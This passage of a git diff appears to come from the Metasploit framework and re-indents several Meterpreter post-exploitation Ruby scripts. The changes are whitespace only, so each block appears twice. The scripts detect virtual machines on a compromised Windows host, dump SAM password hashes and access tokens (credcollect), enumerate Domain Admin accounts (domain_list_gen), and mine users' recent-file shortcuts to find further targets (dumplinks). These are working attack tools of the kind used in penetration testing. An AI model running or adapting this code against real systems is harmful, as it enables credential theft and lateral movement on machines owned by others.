srvvals.include?("vpc-s3") - print_status("This is a VirtualPC Virtual Machine") - vm = true - elsif srvvals.include?("vpcuhub") - print_status("This is a VirtualPC Virtual Machine") - vm = true - elsif srvvals.include?("msvmmouf") - print_status("This is a VirtualPC Virtual Machine") - vm = true - end - key.close - rescue - end - end - return vm + vm = false + vpcprocs = [ + "vmusrvc.exe", + "vmsrvc.exe" + ] + vpcprocs.each do |p| + session.sys.process.get_processes().each do |x| + if p == (x['name'].downcase) + print_status("This is a VirtualPC Virtual Machine") if not vm + vm = true + end + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("vpcbus") + print_status("This is a VirtualPC Virtual Machine") + vm = true + elsif srvvals.include?("vpc-s3") + print_status("This is a VirtualPC Virtual Machine") + vm = true + elsif srvvals.include?("vpcuhub") + print_status("This is a VirtualPC Virtual Machine") + vm = true + elsif srvvals.include?("msvmmouf") + print_status("This is a VirtualPC Virtual Machine") + vm = true + end + key.close + rescue + end + end + return vm end def vboxchk(session) - vm = false - vboxprocs = [ - "vboxservice.exe", - "vboxtray.exe" - ] - vboxprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a Sun VirtualBox Virtual Machine") if not vm - vm = true - end - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBOX__") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBOX__") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBOX__") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') - if key.query_value('Identifier').data.downcase =~ /vbox/ - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System') - if key.query_value('SystemBiosVersion').data.downcase =~ /vbox/ - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBoxMouse") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - elsif srvvals.include?("VBoxGuest") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - elsif srvvals.include?("VBoxService") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - elsif srvvals.include?("VBoxSF") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - key.close - rescue - end - end - return vm + vm = false + vboxprocs = [ + "vboxservice.exe", + "vboxtray.exe" + ] + vboxprocs.each do |p| + session.sys.process.get_processes().each do |x| + if p == (x['name'].downcase) + print_status("This is a Sun VirtualBox Virtual Machine") if not vm + vm = true + end + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("VBOX__") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("VBOX__") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("VBOX__") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') + if key.query_value('Identifier').data.downcase =~ /vbox/ + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System') + if key.query_value('SystemBiosVersion').data.downcase =~ /vbox/ + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("VBoxMouse") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + elsif srvvals.include?("VBoxGuest") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + elsif srvvals.include?("VBoxService") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + elsif srvvals.include?("VBoxSF") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + key.close + rescue + end + end + return vm end def xenchk(session) - vm = false - xenprocs = [ - "xenservice.exe" - ] - xenprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a Xen Virtual Machine") if not vm - vm = true - end - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("Xen") - print_status("This is a Xen Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("Xen") - print_status("This is a Xen Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("Xen") - print_status("This is a Xen Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("xenevtchn") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xennet") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xennet6") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xensvc") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xenvdb") - print_status("This is a Xen Virtual Machine") - vm = true - end - key.close - rescue - end - end - return vm + vm = false + xenprocs = [ + "xenservice.exe" + ] + xenprocs.each do |p| + session.sys.process.get_processes().each do |x| + if p == (x['name'].downcase) + print_status("This is a Xen Virtual Machine") if not vm + vm = true + end + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("Xen") + print_status("This is a Xen Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("Xen") + print_status("This is a Xen Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("Xen") + print_status("This is a Xen Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("xenevtchn") + print_status("This is a Xen Virtual Machine") + vm = true + elsif srvvals.include?("xennet") + print_status("This is a Xen Virtual Machine") + vm = true + elsif srvvals.include?("xennet6") + print_status("This is a Xen Virtual Machine") + vm = true + elsif srvvals.include?("xensvc") + print_status("This is a Xen Virtual Machine") + vm = true + elsif srvvals.include?("xenvdb") + print_status("This is a Xen Virtual Machine") + vm = true + end + key.close + rescue + end + end + return vm end def qemuchk(session) - vm = false - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') - if key.query_value('Identifier').data.downcase =~ /qemu/ - print_status("This is a QEMU/KVM Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0') - if key.query_value('ProcessorNameString').data.downcase =~ /qemu/ - print_status("This is a QEMU/KVM Virtual Machine") - vm = true - end - rescue - end - end + vm = false + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') + if key.query_value('Identifier').data.downcase =~ /qemu/ + print_status("This is a QEMU/KVM Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0') + if key.query_value('ProcessorNameString').data.downcase =~ /qemu/ + print_status("This is a QEMU/KVM Virtual Machine") + vm = true + end + rescue + end + end - return vm + return vm end if client.platform =~ /win32|win64/ - print_status("Checking if target is a Virtual Machine .....") - found = hypervchk(session) - found = vmwarechk(session) if not found - found = checkvrtlpc(session) if not found - found = vboxchk(session) if not found - found = xenchk(session) if not found - found = qemuchk(session) if not found - print_status("It appears to be physical host.") if not found + print_status("Checking if target is a Virtual Machine .....") + found = hypervchk(session) + found = vmwarechk(session) if not found + found = checkvrtlpc(session) if not found + found = vboxchk(session) if not found + found = xenchk(session) if not found + found = qemuchk(session) if not found + print_status("It appears to be physical host.") if not found else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/credcollect.rb b/scripts/meterpreter/credcollect.rb index 4ba4dd1a7b88..001172e7c251 100644 --- a/scripts/meterpreter/credcollect.rb +++ b/scripts/meterpreter/credcollect.rb @@ -1,78 +1,78 @@ # credcollect - tebo[at]attackresearch.com opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-p" => [ true,"The SMB port used to associate credentials."] + "-h" => [ false,"Help menu." ], + "-p" => [ true,"The SMB port used to associate credentials."] ) smb_port = 445 opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("CredCollect -- harvest credentials found on the host and store them in the database") - print_line("USAGE: run credcollect") - print_line(opts.usage) - raise Rex::Script::Completed - when "-p" # This ought to read from the exploit's datastore. - smb_port = val.to_i - end + case opt + when "-h" + print_line("CredCollect -- harvest credentials found on the host and store them in the database") + print_line("USAGE: run credcollect") + print_line(opts.usage) + raise Rex::Script::Completed + when "-p" # This ought to read from the exploit's datastore. + smb_port = val.to_i + end } if client.platform =~ /win32|win64/ - # Collect even without a database to store them. - if client.framework.db.active - db_ok = true - else - db_ok = false - end + # Collect even without a database to store them. + if client.framework.db.active + db_ok = true + else + db_ok = false + end - # Make sure we're rockin Priv and Incognito - client.core.use("priv") if not client.respond_to?("priv") - client.core.use("incognito") if not client.respond_to?("incognito") + # Make sure we're rockin Priv and Incognito + client.core.use("priv") if not client.respond_to?("priv") + client.core.use("incognito") if not client.respond_to?("incognito") - # It wasn't me mom! Stinko did it! - hashes = client.priv.sam_hashes + # It wasn't me mom! Stinko did it! + hashes = client.priv.sam_hashes - # Target infos for the db record - addr = client.sock.peerhost - # client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive) + # Target infos for the db record + addr = client.sock.peerhost + # client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive) - # Record hashes to the running db instance - print_good "Collecting hashes..." - hashes.each do |hash| - data = {} - data[:host] = addr - data[:port] = smb_port - data[:sname] = 'smb' - data[:user] = hash.user_name - data[:pass] = hash.lanman + ":" + hash.ntlm - data[:type] = "smb_hash" - data[:active] = true + # Record hashes to the running db instance + print_good "Collecting hashes..." + hashes.each do |hash| + data = {} + data[:host] = addr + data[:port] = smb_port + data[:sname] = 'smb' + data[:user] = hash.user_name + data[:pass] = hash.lanman + ":" + hash.ntlm + data[:type] = "smb_hash" + data[:active] = true - print_line " Extracted: #{data[:user]}:#{data[:pass]}" - client.framework.db.report_auth_info(data) if db_ok - end + print_line " Extracted: #{data[:user]}:#{data[:pass]}" + client.framework.db.report_auth_info(data) if db_ok + end - # Record user tokens - tokens = client.incognito.incognito_list_tokens(0) - raise Rex::Script::Completed if not tokens + # Record user tokens + tokens = client.incognito.incognito_list_tokens(0) + raise Rex::Script::Completed if not tokens - # Meh, tokens come to us as a formatted string - print_good "Collecting tokens..." - (tokens["delegation"] + tokens["impersonation"]).split("\n").each do |token| - data = {} - data[:host] = addr - data[:type] = 'smb_token' - data[:data] = token - data[:update] = :unique_data + # Meh, tokens come to us as a formatted string + print_good "Collecting tokens..." + (tokens["delegation"] + tokens["impersonation"]).split("\n").each do |token| + data = {} + data[:host] = addr + data[:type] = 'smb_token' + data[:data] = token + data[:update] = :unique_data - print_line " #{data[:data]}" - client.framework.db.report_note(data) if db_ok - end - raise Rex::Script::Completed + print_line " #{data[:data]}" + client.framework.db.report_note(data) if db_ok + end + raise Rex::Script::Completed else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/domain_list_gen.rb b/scripts/meterpreter/domain_list_gen.rb index 3621d02d0505..df51c47eb2db 100644 --- a/scripts/meterpreter/domain_list_gen.rb +++ b/scripts/meterpreter/domain_list_gen.rb @@ -2,23 +2,23 @@ #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting Doamin Admin Account list for use." - print_line "in token_hunter plugin and verifies if current account for session is" - print_line "is a member of such group." - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line "Meterpreter Script for extracting Doamin Admin Account list for use." + print_line "in token_hunter plugin and verifies if current account for session is" + print_line "is a member of such group." + print_line(opts.usage) + raise Rex::Script::Completed + end } def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end #------------------------------------------------------------------------------- #Set General Variables used in the script @@ -30,20 +30,20 @@ def unsupported current_user = @client.sys.config.getuid.scan(/\S*\\(.*)/) def reg_getvaldata(key,valname) - value = nil - begin - root_key, base_key = @client.sys.registry.splitkey(key) - open_key = @client.sys.registry.open_key(root_key, base_key, KEY_READ) - v = open_key.query_value(valname) - value = v.data - open_key.close - end - return value + value = nil + begin + root_key, base_key = @client.sys.registry.splitkey(key) + open_key = @client.sys.registry.open_key(root_key, base_key, KEY_READ) + v = open_key.query_value(valname) + value = v.data + open_key.close + end + return value end domain = reg_getvaldata("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon","DefaultDomainName") if domain == "" - print_error("domain not found") + print_error("domain not found") end # Create Filename info to be appended to downloaded files @@ -64,12 +64,12 @@ def reg_getvaldata(key,valname) cmd = 'net groups "Domain Admins" /domain' r = @client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) - users << d - if d=~/System error/ - print_error("Could not enumerate Domain Admins!") - raise Rex::Script::Completed - end - break if d == "" + users << d + if d=~/System error/ + print_error("Could not enumerate Domain Admins!") + raise Rex::Script::Completed + end + break if d == "" end #split output in to lines out_lines = users.split("\n") @@ -79,20 +79,20 @@ def reg_getvaldata(key,valname) #get only the usernames out of those lines domainadmin_user_list = [] domadmins.each do |d| - d.split(" ").compact.each do |s| - domainadmin_user_list << s.strip if s.strip != "" and not s =~ /----/ - end + d.split(" ").compact.each do |s| + domainadmin_user_list << s.strip if s.strip != "" and not s =~ /----/ + end end #process accounts found print_status("Accounts Found:") domainadmin_user_list.each do |u| - print_status("\t#{domain}\\#{u}") - file_local_write(dest, "#{domain}\\#{u}") - list << u.downcase + print_status("\t#{domain}\\#{u}") + file_local_write(dest, "#{domain}\\#{u}") + list << u.downcase end if list.index(current_user.join.chomp.downcase) - print_status("Current sessions running as #{domain}\\#{current_user.join.chomp} is a Domain Admin!!") + print_status("Current sessions running as #{domain}\\#{current_user.join.chomp} is a Domain Admin!!") else - print_error("Current session running as #{domain}\\#{current_user.join.chomp} is not running as Domain Admin") + print_error("Current session running as #{domain}\\#{current_user.join.chomp} is not running as Domain Admin") end diff --git a/scripts/meterpreter/dumplinks.rb b/scripts/meterpreter/dumplinks.rb index 58ba559cafd1..444aa184399e 100644 --- a/scripts/meterpreter/dumplinks.rb +++ b/scripts/meterpreter/dumplinks.rb @@ -2,37 +2,37 @@ #------------------------------------------------------------------------------- opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-e" => [ false, "Dump everything for each link file." ], - "-w" => [ false, "Redirect output to file."] + "-h" => [ false, "Help menu." ], + "-e" => [ false, "Dump everything for each link file." ], + "-w" => [ false, "Redirect output to file."] ) @everything, @output_dir, @data_out = nil opts.parse(args) { |opt, idx, val| - case opt - when '-e' - @everything = true - when '-w' - @output_dir = ::File.join(Msf::Config.log_directory,'scripts', 'dumplinks') - when "-h" - print_line "dumplinks -- parse .lnk files from user's Recent Documents" - print_line - print_line "dumplinks is a modified port of Harlan Carvey's lslnk.pl Perl script." - print_line "dumplinks parses .lnk files from a user's Recent documents folder and" - print_line "Microsoft Office's Recent documents folder, if present. Windows creates" - print_line "these link files automatically for many common file types." - print_line - print_line "\tResults are saved to #{::File.join(Msf::Config.log_directory, 'dumplinks')} if -w is used." - print_line - print_line "The .lnk files contain time stamps, file locations, including share" - print_line "names, volume serial #s and more. This info may help you target" - print_line "additional systems." - print_line - print_line "By default, dumplinks only returns the destination for the shortcut." - print_line "See the available arguments for other options." - print_line (opts.usage) - raise Rex::Script::Completed - end + case opt + when '-e' + @everything = true + when '-w' + @output_dir = ::File.join(Msf::Config.log_directory,'scripts', 'dumplinks') + when "-h" + print_line "dumplinks -- parse .lnk files from user's Recent Documents" + print_line + print_line "dumplinks is a modified port of Harlan Carvey's lslnk.pl Perl script." + print_line "dumplinks parses .lnk files from a user's Recent documents folder and" + print_line "Microsoft Office's Recent documents folder, if present. Windows creates" + print_line "these link files automatically for many common file types." + print_line + print_line "\tResults are saved to #{::File.join(Msf::Config.log_directory, 'dumplinks')} if -w is used." + print_line + print_line "The .lnk files contain time stamps, file locations, including share" + print_line "names, volume serial #s and more. This info may help you target" + print_line "additional systems." + print_line + print_line "By default, dumplinks only returns the destination for the shortcut." + print_line "See the available arguments for other options." + print_line (opts.usage) + raise Rex::Script::Completed + end } # ---------------------------------------------------------------- @@ -42,341 +42,341 @@ os = @client.sys.config.sysinfo['OS'] if @output_dir - # Create filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d") + # Create filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d") - # Create a directory for the output - @logs = ::File.join(@output_dir, Rex::FileUtils.clean_path(info['Computer'] + filenameinfo)) + # Create a directory for the output + @logs = ::File.join(@output_dir, Rex::FileUtils.clean_path(info['Computer'] + filenameinfo)) - # Create output directory - ::FileUtils.mkdir_p(@logs) + # Create output directory + ::FileUtils.mkdir_p(@logs) end # --------------------------------------------------------------- # Function for enumerating users if running as SYSTEM # Borrowed from get_pidgin_creds def enum_users(os) - users = [] - userinfo = {} - user = @client.sys.config.getuid - userpath = nil - useroffcpath = nil - sysdrv = @client.fs.file.expand_path("%SystemDrive%") - if os =~ /Windows 7|Vista|2008/ - userpath = sysdrv + "\\Users\\" - lnkpath = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" - officelnkpath = "\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" - else - userpath = sysdrv + "\\Documents and Settings\\" - lnkpath = "\\Recent\\" - officelnkpath = "\\Application Data\\Microsoft\\Office\\Recent\\" - end - if user == "NT AUTHORITY\\SYSTEM" - print_status("Running as SYSTEM extracting user list...") - @client.fs.dir.foreach(userpath) do |u| - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/ - userinfo['username'] = u - userinfo['userpath'] = userpath + u + lnkpath - userinfo['useroffcpath'] = userpath + u + officelnkpath - userinfo['userpath'] = dir_entry_exists(userinfo['userpath']) - userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath']) - users << userinfo - end - else - uservar = @client.fs.file.expand_path("%USERNAME%") - userinfo['username'] = uservar - userinfo['userpath'] = userpath + uservar + lnkpath - userinfo['useroffcpath'] = userpath + uservar + officelnkpath - userinfo['userpath'] = dir_entry_exists(userinfo['userpath']) - userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath']) - users << userinfo - end - return users + users = [] + userinfo = {} + user = @client.sys.config.getuid + userpath = nil + useroffcpath = nil + sysdrv = @client.fs.file.expand_path("%SystemDrive%") + if os =~ /Windows 7|Vista|2008/ + userpath = sysdrv + "\\Users\\" + lnkpath = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" + officelnkpath = "\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" + else + userpath = sysdrv + "\\Documents and Settings\\" + lnkpath = "\\Recent\\" + officelnkpath = "\\Application Data\\Microsoft\\Office\\Recent\\" + end + if user == "NT AUTHORITY\\SYSTEM" + print_status("Running as SYSTEM extracting user list...") + @client.fs.dir.foreach(userpath) do |u| + next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/ + userinfo['username'] = u + userinfo['userpath'] = userpath + u + lnkpath + userinfo['useroffcpath'] = userpath + u + officelnkpath + userinfo['userpath'] = dir_entry_exists(userinfo['userpath']) + userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath']) + users << userinfo + end + else + uservar = @client.fs.file.expand_path("%USERNAME%") + userinfo['username'] = uservar + userinfo['userpath'] = userpath + uservar + lnkpath + userinfo['useroffcpath'] = userpath + uservar + officelnkpath + userinfo['userpath'] = dir_entry_exists(userinfo['userpath']) + userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath']) + users << userinfo + end + return users end # This is a hack because Meterpreter doesn't support exists?(file) def dir_entry_exists(path) - files = @client.fs.dir.entries(path) + files = @client.fs.dir.entries(path) rescue - return nil + return nil else - return path + return path end def extract_lnk_info(path) - @client.fs.dir.foreach(path) do |file_name| - if file_name =~ /\.lnk$/ # We have a .lnk file - record = nil - offset = 0 # ToDo: Look at moving this to smaller scope - lnk_file = @client.fs.file.new(path + file_name, "rb") - record = lnk_file.sysread(0x04) - if record.unpack('V')[0] == 76 # We have a .lnk file signature - file_stat = @client.fs.filestat.new(path + file_name) - print_status "Processing: #{path + file_name}." - @data_out = "" + @client.fs.dir.foreach(path) do |file_name| + if file_name =~ /\.lnk$/ # We have a .lnk file + record = nil + offset = 0 # ToDo: Look at moving this to smaller scope + lnk_file = @client.fs.file.new(path + file_name, "rb") + record = lnk_file.sysread(0x04) + if record.unpack('V')[0] == 76 # We have a .lnk file signature + file_stat = @client.fs.filestat.new(path + file_name) + print_status "Processing: #{path + file_name}." + @data_out = "" - record = lnk_file.sysread(0x48) - hdr = get_headers(record) + record = lnk_file.sysread(0x48) + hdr = get_headers(record) - if @everything - @data_out += get_lnk_file_MAC(file_stat, path, file_name) - @data_out += "Contents of #{path + file_name}:\n" - @data_out += get_flags(hdr) - @data_out += get_attrs(hdr) - @data_out += get_lnk_MAC(hdr) - @data_out += get_showwnd(hdr) - @data_out += get_lnk_MAC(hdr) - end - if shell_item_id_list(hdr) - # advance the file & offset - offset += 0x4c - lnk_file.sysseek(offset, ::IO::SEEK_SET) - record = lnk_file.sysread(2) - offset += record.unpack('v')[0] + 2 - end - # Get File Location Info - if (hdr["flags"] & 0x02) > 0 - lnk_file.sysseek(offset, ::IO::SEEK_SET) - record = lnk_file.sysread(4) - tmp = record.unpack('V')[0] - if tmp > 0 - lnk_file.sysseek(offset, ::IO::SEEK_SET) - record = lnk_file.sysread(0x1c) - loc = get_file_location(record) - if (loc['flags'] & 0x01) > 0 - if @everything - @data_out += "\tShortcut file is on a local volume.\n" - end - lnk_file.sysseek(offset + loc['vol_ofs'], ::IO::SEEK_SET) - record = lnk_file.sysread(0x10) - lvt = get_local_vol_tbl(record) - lvt['name'] = lnk_file.sysread(lvt['len'] - 0x10) - if @everything - @data_out += "\t\tVolume Name = #{lvt['name']}\n" + - "\t\tVolume Type = #{get_vol_type(lvt['type'])}\n" + - "\t\tVolume SN = 0x%X" % lvt['vol_sn'] + "\n" - end - end + if @everything + @data_out += get_lnk_file_MAC(file_stat, path, file_name) + @data_out += "Contents of #{path + file_name}:\n" + @data_out += get_flags(hdr) + @data_out += get_attrs(hdr) + @data_out += get_lnk_MAC(hdr) + @data_out += get_showwnd(hdr) + @data_out += get_lnk_MAC(hdr) + end + if shell_item_id_list(hdr) + # advance the file & offset + offset += 0x4c + lnk_file.sysseek(offset, ::IO::SEEK_SET) + record = lnk_file.sysread(2) + offset += record.unpack('v')[0] + 2 + end + # Get File Location Info + if (hdr["flags"] & 0x02) > 0 + lnk_file.sysseek(offset, ::IO::SEEK_SET) + record = lnk_file.sysread(4) + tmp = record.unpack('V')[0] + if tmp > 0 + lnk_file.sysseek(offset, ::IO::SEEK_SET) + record = lnk_file.sysread(0x1c) + loc = get_file_location(record) + if (loc['flags'] & 0x01) > 0 + if @everything + @data_out += "\tShortcut file is on a local volume.\n" + end + lnk_file.sysseek(offset + loc['vol_ofs'], ::IO::SEEK_SET) + record = lnk_file.sysread(0x10) + lvt = get_local_vol_tbl(record) + lvt['name'] = lnk_file.sysread(lvt['len'] - 0x10) + if @everything + @data_out += "\t\tVolume Name = #{lvt['name']}\n" + + "\t\tVolume Type = #{get_vol_type(lvt['type'])}\n" + + "\t\tVolume SN = 0x%X" % lvt['vol_sn'] + "\n" + end + end - if (loc['flags'] & 0x02) > 0 - if @everything - @data_out += "\tFile is on a network share.\n" - end - lnk_file.sysseek(offset + loc['network_ofs'], ::IO::SEEK_SET) - record = lnk_file.sysread(0x14) - nvt = get_net_vol_tbl(record) - nvt['name'] = lnk_file.sysread(nvt['len'] - 0x14) - if @everything - @data_out += "\tNetwork Share name = #{nvt['name']}\n" - end - end + if (loc['flags'] & 0x02) > 0 + if @everything + @data_out += "\tFile is on a network share.\n" + end + lnk_file.sysseek(offset + loc['network_ofs'], ::IO::SEEK_SET) + record = lnk_file.sysread(0x14) + nvt = get_net_vol_tbl(record) + nvt['name'] = lnk_file.sysread(nvt['len'] - 0x14) + if @everything + @data_out += "\tNetwork Share name = #{nvt['name']}\n" + end + end - if loc['base_ofs'] > 0 - @data_out += get_target_path(loc['base_ofs'] + offset, lnk_file) - elsif loc['path_ofs'] > 0 - @data_out += get_target_path(loc['path_ofs'] + offset, lnk_file) - end - end - end - end - lnk_file.close - if @output_dir - @file_out_name = @logs + "/" + file_name + ".txt" - print_status "Writing: #{@file_out_name}" - filewrt(@file_out_name, @data_out) - else - print_status @data_out - end - end - end + if loc['base_ofs'] > 0 + @data_out += get_target_path(loc['base_ofs'] + offset, lnk_file) + elsif loc['path_ofs'] > 0 + @data_out += get_target_path(loc['path_ofs'] + offset, lnk_file) + end + end + end + end + lnk_file.close + if @output_dir + @file_out_name = @logs + "/" + file_name + ".txt" + print_status "Writing: #{@file_out_name}" + filewrt(@file_out_name, @data_out) + else + print_status @data_out + end + end + end end # Not only is this code slow, it seems # buggy. I'm studying the recently released # MS Specs for a better way. def get_target_path(path_ofs, lnk_file) - name = [] - lnk_file.sysseek(path_ofs, ::IO::SEEK_SET) - record = lnk_file.sysread(2) - while (record.unpack('v')[0] != 0) - name.push(record) - record = lnk_file.sysread(2) - end - return "\tTarget path = #{name.join}\n" + name = [] + lnk_file.sysseek(path_ofs, ::IO::SEEK_SET) + record = lnk_file.sysread(2) + while (record.unpack('v')[0] != 0) + name.push(record) + record = lnk_file.sysread(2) + end + return "\tTarget path = #{name.join}\n" end def shell_item_id_list(hdr) - # Check for Shell Item ID List - if (hdr["flags"] & 0x01) > 0 - return true - else - return nil - end + # Check for Shell Item ID List + if (hdr["flags"] & 0x01) > 0 + return true + else + return nil + end end def get_lnk_file_MAC(file_stat, path, file_name) - data_out = "#{path + file_name}:\n" - data_out += "\tAccess Time = #{file_stat.atime}\n" - data_out += "\tCreation Date = #{file_stat.ctime}\n" - data_out += "\tModification Time = #{file_stat.mtime}\n" - return data_out + data_out = "#{path + file_name}:\n" + data_out += "\tAccess Time = #{file_stat.atime}\n" + data_out += "\tCreation Date = #{file_stat.ctime}\n" + data_out += "\tModification Time = #{file_stat.mtime}\n" + return data_out end def get_vol_type(type) - vol_type = { 0 => "Unknown", - 1 => "No root directory", - 